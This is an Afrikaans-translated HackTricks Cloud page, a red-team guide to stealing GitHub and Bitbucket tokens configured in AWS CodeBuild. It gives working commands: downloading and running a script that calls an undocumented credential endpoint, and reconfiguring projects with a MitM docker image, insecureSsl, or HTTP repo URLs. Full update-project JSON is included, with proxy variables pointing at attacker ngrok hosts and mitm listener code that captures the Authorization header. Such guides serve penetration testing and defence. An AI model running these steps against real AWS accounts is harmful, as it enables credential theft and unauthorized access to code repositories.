AWS Codebuild - Token Leakage
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Herwin Github/Bitbucket Gekonfigureerde Tokens
Eerstens, kyk of daar enige source credentials gekonfigureer is wat jy kan leak:
aws codebuild list-source-credentials
Via RCE in CodeBuild Job
Van binne ’n CodeBuild job kan jy ’n ongedokumenteerde AWS CodeBuild API-endpoint aanroep wat die credentials sal teruggee wat deur CodeBuild gebruik word. Dit kan gebruik word om die credentials te bekom waarmee die CodeBuild job ingestel is, bv. AWS CodeConnection credentials, OAUTH of PAT credentials. Die CodeBuild job hoef nie privileged te wees om hierdie endpoint aan te spreek nie, en dit is ook moeilik om in logging en monitoring op te spoor aangesien CodeBuild self hierdie endpoint verskeie kere tydens opstart aanroep.
Die tegniek word verder verduidelik in https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ maar opsommend, om credentials binne die CodeBuild job te bekom, moet jy net die volgende uitvoer:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Deur Docker Image
As jy vind dat outentisering, byvoorbeeld na Github, in die rekening ingestel is, kan jy exfiltrate daardie toegang (GH token or OAuth token) deur Codebuild te laat gebruik ’n spesifieke docker image om die projek se build te laat loop.
Vir hierdie doel kan jy skep ’n nuwe Codebuild-projek of die environment van ’n bestaande verander om die Docker image te stel.
Die Docker image wat jy kan gebruik is https://github.com/carlospolop/docker-mitm. Dit is ’n baie basiese Docker image wat die env variables https_proxy, http_proxy en SSL_CERT_FILE sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer wat in https_proxy en http_proxy aangedui word te onderskep en die SSL-sertifikaat aangedui in SSL_CERT_FILE te vertrou.
- Skep & Laai op jou eie Docker MitM image
- Volg die instruksies van die repo om jou proxy IP-adres te stel en jou SSL-sertifikaat in te stel en bou die docker image.
- DO NOT SET
http_proxyom versoeke na die metadata-endpoint nie te onderskep nie. - Jy kan
ngroksoosngrok tcp 4444gebruik om die proxy na jou gasheer te stel - Sodra jy die Docker image gebou het, laai dit op na ’n publieke repo (Dockerhub, ECR…)
- Set the environment
- Skep ’n nuwe Codebuild-projek of wysig die environment van ’n bestaande.
- Stel die projek om die previously generated Docker image te gebruik
.png)
- Stel die MitM proxy op jou gasheer
- Soos aangedui in die Github repo kan jy iets soos gebruik:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Die mitmproxy-weergawe wat gebruik is, was 9.0.1, dit is gerapporteer dat met weergawe 10 dit dalk nie werk nie.
- Voer die build uit & vang die inlogbewyse
- Jy kan die token in die Authorization header sien:
.png)
Dit kan ook vanaf die aws cli met iets soos
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Deur insecureSSL
Codebuild projekte het ’n instelling genaamd insecureSsl wat in die web weggesteek is en wat jy slegs via die API kan verander.
As jy dit aktiveer, kan Codebuild met die repository verbind sonder om die sertifikaat te kontroleer wat deur die platform aangebied word.
- Eerstens moet jy die huidige konfigurasie ophaal met iets soos:
aws codebuild batch-get-projects --name <proj-name>
- Dan kan jy, met die ingesamelde inligting, die project instelling
insecureSslopTrueopdateer. Die volgende is ’n voorbeeld van my opdatering van ’n project, let op dieinsecureSsl=Trueaan die einde (dit is die enigste ding wat jy uit die ingesamelde konfigurasie hoef te verander). - Voorts voeg ook die env veranderlikes http_proxy en https_proxy by wat na jou tcp ngrok wys, soos:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Dan, voer die basiese voorbeeld van https://github.com/synchronizing/mitm uit op die poort wat deur die proxy-veranderlikes (http_proxy en https_proxy) aangedui word
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Laastens, klik op Build the project, die credentials sal in clear text (base64) na die mitm-poort gestuur word:
 (1).png)
Deur HTTP-protokol
[!TIP] > Hierdie kwesbaarheid is deur AWS reggestel in die week van 20 Feb 2023 (ek dink Vrydag). Dus kan ’n attacker dit nie meer misbruik nie :)
An attacker met elevated permissions in ’n CodeBuild could leak die Github/Bitbucket token wat gekonfigureer is, of indien permissies via OAuth ingestel is, die temporary OAuth token used to access the code.
- An attacker kan die omgewingsveranderlikes http_proxy en https_proxy by die CodeBuild-projek voeg en na sy masjien wys (byvoorbeeld
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Dan verander die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld:
http://github.com/carlospolop-forks/TestActions - Draai dan die basiese voorbeeld vanaf https://github.com/synchronizing/mitm op die poort waarna die proxy-variabeles (http_proxy en https_proxy) wys
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Klik dan op Build the project of begin die build vanaf die opdragreël:
aws codebuild start-build --project-name <proj-name>
Laastens sal die credentials in clear text gestuur (base64) na die mitm-poort:
.png)
Warning
Nou kan ’n aanvaller die token vanaf sy masjien gebruik, alle privileges wat dit het lys en dit makliker (ab)use as om die CodeBuild service direk te gebruik.
Onbetroubare PR-uitvoering via webhook-filter miskonfigurasie
Vir die PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sien:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

